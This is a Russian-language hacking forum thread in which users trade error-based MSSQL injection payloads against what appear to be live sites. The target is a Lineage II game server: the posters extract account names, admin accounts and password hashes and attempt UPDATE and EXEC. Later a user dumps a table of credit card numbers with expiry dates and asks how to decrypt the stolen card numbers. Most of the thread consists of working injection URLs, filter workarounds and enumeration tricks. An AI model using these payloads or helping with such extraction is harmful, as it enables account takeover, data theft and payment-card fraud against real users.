Ну будьте другами, помогите пожалуйста. Я нифига не въезжаю... В базе данных la2info..sa_names есть всего три колонки (id(int),name(varchar),desc(varchar)) Я делаю запрос =(select+top+1+name+from+la2info..sa_names)-- запрос в ошибке возвращает первую запись в таблице. А вот запрос =(select+top+1+id+from+la2info..sa_names)-- не возвращает вообще ничего(ошибки преобразования в int нет???). Пробую так =(select+top+1+cast(id+as+nvarchar)+from+la2info..sa_names)-- тоже ничего. Можно попробовать не cast, а convert, например =(select+top+1+convert(nvarchar,id)+from+la2info..sa_names)-- Но запятая вырезается даже если использовать %2C и выходит convert(nvarcharid)..... Что придумать если посмотреть можно только поля varchar (через ошибку преобразования в int), а нужны и другие типы? to -=megahertz=- Как делал-то колись...
NamahS Code: cast (name as varchar) подробнее тут http://hack-shop.org.ru/board/forumdisplay.php?f=18
ДА!ДА!ДА! А я блин зациклился на convert(nvarchar,id+"a"), а запятая вырезается....короче зациклило на прямолинейном мышлении МЭНИ МЭНИ СЕНКС. Лови репу) Тоже огромное спасибо! При приведении в nvarchar одни вопросы вылазили в бинарном типе. При varchar возвращает крякозяблы. Я так понимаю их надо в любой ХЕКС-редактор загнать и взять уже оттуда? Или есть функция которой сразу в запросе можно вернуть в 16-чной кодировке? Сорри не силен в функциях MSSQL.
кажись линейка на сервере том , когда то подобным занимался немного. веб обвязка и ява сервер используют общую базу ...сервер не корейский , а фришный , поставляеться с обвязкой (сборок серверов в природе существует много ) ...но структура таблиц у них отличаеться не координально ...скачай дистриб сервера , загляни в таблицы , пару обвязок найди до кучи , и мозаика сложиться ... ключевое слово в поисковике - Создание сервера LineAge
)) Ясное дело линейка, только не на яве, а офф и на MSSQL. Все уже сложилось, остались только пробелы в знаниях которые надо заполнить))) Проблема в том, что при считывании password as varchar возвращается что-то навроде 5ъЎ™ёЄ 9 ††KСчч. Я конечно могу руками это перевести в ХЕКС, но где-то видел функцию, которая переводит это на лету...
А кто-нибудь знает, как расшифровать ХЭШИ, которые в MSSQL от Lineage C6(interlude)? Или на С++ переписать код шифрования?
Ну подскажи плиз, не могу update я сделать... для примера: такой запрос и ему подобные проходят /?part=items&id=-35332+OR+1=(select+top+1+cast(password+as+varchar)%2Bchar(97)+from+lin2db..user_auth+where+account=%22login%22)-- не могу прикрутить к нему второй ((select+top+2+cast(password+as+varchar)%2Bchar(97)+from+lin2db..user_auth)+where+account=%22login%22)-- для перебора ...чтобы и перебор был и условие сохранялось? Где я ошибаюсь в запросе UPDATE ? /?part=items&id=-35332+OR+1=(update+lin2world..user_data+set+hp=%22202.001%22+where+char_name=%22lalala%22)--......???? Знаки ; , ' вырезаются И еще вопрос, чем можно php функцию intval заменить на C++ ? Весь ИНЕТ перерыл кажется. Не нашел ничего. Я так понял, что в ПХП она округляет значение до целочисленного, а в С++ если пользоваться целочисленным типом int, то он просто откидывает дробную часть %)...т.е. 1.6 = 1
Возможна ли sql-inj на сервере, где не используется переменная id(в url нет обращения к базе через переменную)? Если да, то как обнаружить возможность injection?
чувак скажи конкретно что ты хочешь вытащить из базы?! или ты просто от нефиг делать его этот сайт пытаешь?
Я хочу повысить уровень своих знаний !!! Это моя лабораторная работа Во как сказал... Дошел до вытаскивания ХЭШей ГМ-ов и т.д....набросал для себя програмку, которая эти ХЭШИ подбирает... Не могу осилить, как сделать так, чтобы выбирать не первое, а второе, третье ... значение + УСЛОВИЕ. Например: /?part=items&id=-35332+OR+1=(select+top+1+cast(account_name+as+varchar)%2Bchar(97)+from+lin2world..user_data+where+builder=1)-- В этом запросе вывожу первый аккаунт где builder=1...рыдаю не могу вывести второй,третий... при том же условии builder=1. Еще не могу понять, как можно здесь сделать UPDATE и EXEC....чего только не пробовал....где-то недопонимаю...вот и прошу помощи примерами, чтоб мозаика сложилась И еще, так-как не силен в функциях MSSQL, то спрашиваю, есть ли функция наподобие cast(значение+as+varchar), только чтоб возвращала значения не в ASCII или там varchar, а в 16-ричном виде(ХЕКСе)...ну например для тех же ХЭШЕЙ???
попробуй так: /?part=items&id=-35332+OR+1=(select+top+1+cast(account_name+as+varc har)%2Bchar(97)+from+lin2world..user_data+where+cast(account_name+as+varc har)%2Bchar(97)+not+in+(select+top+2+cast(account_name+as+varc har)%2Bchar(97)+from+lin2world..user_data))-- единственная проблема во втором select+top+2 более 2К занчений лучше не вводить.
задам тут свой вопрос. таблица NAMES содержит поля: --- EXP_MO EXP_YR CARD_NUM --- EXP_MO и EXP_YR успешно выводятся запросом: 1%20or%201=(select+TOP+1+cast(EXP_MO+as+nvarchar)%2Bchar(97)+FROM+NAMES)-- а вот CARD_NUM при таком же запросе просто перезагружает страницу без ошибки. почему? могут быть в таблицах защищённые поля, которые не выводятся? с полями NM_USERID и NM_PASSWORD такая же фигня происходит. хотя другие поля с именами, адресами и прочим выводятся без проблем.
У полей разный тип и хотя ты делаешь cast, они вместе могут не выводиться. А отдельно выводится номер карты?
нет, не выводится. даже 1%20or%201=(select+TOP+1+cast(len(CARD_NUM)+as+nvarchar)% 2Bchar(97)+FROM+NAMES)-- не выводится. и длинна паролей так же не выводится. хотя длинна других полей таким образом выводится.
Разобрался. Просто не все CARD_NUM заполнены. Надо выбирать только NOT NULL. А карты оказались зашифрованы. Выглядят вот так: KmSrs8ltGQ8WyhlV71dY6$Wl0aaAD реально отсюда как-то получить строку из 16 цифр?